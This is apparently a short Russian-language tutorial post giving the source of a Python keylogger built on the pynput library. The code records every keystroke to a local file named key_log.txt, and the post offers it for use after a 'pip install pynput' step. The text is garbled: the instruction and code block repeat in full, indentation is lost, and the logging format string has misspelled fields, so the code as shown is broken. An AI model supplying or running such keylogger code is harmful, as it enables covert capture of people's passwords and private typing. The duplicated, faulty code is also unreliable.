Так, чтоб наш keylogger стал работать, сначала надо установить дополнительную библиотеку под названием pynput.
Для этого просто набираем команду pip install pynput
Всё,теперь можно работать.
# library
from pynput.keyboard import Key, Listener
# vanilla
import logging
log_dir = " "
logging.basicConfig(filename=(log_dir + 'key_log.txt'), level=logging.DEBUG, format='%(asktime)s: %(messages)s')
def on_press(key):
logging.info(str(key))
# if key == Key.esc:
# return false
with Listener(on_press=on_press) as listener:
listener.join()
Для этого просто набираем команду pip install pynput
Всё,теперь можно работать.
# library
from pynput.keyboard import Key, Listener
# vanilla
import logging
log_dir = " "
logging.basicConfig(filename=(log_dir + 'key_log.txt'), level=logging.DEBUG, format='%(asktime)s: %(messages)s')
def on_press(key):
logging.info(str(key))
# if key == Key.esc:
# return false
with Listener(on_press=on_press) as listener:
listener.join()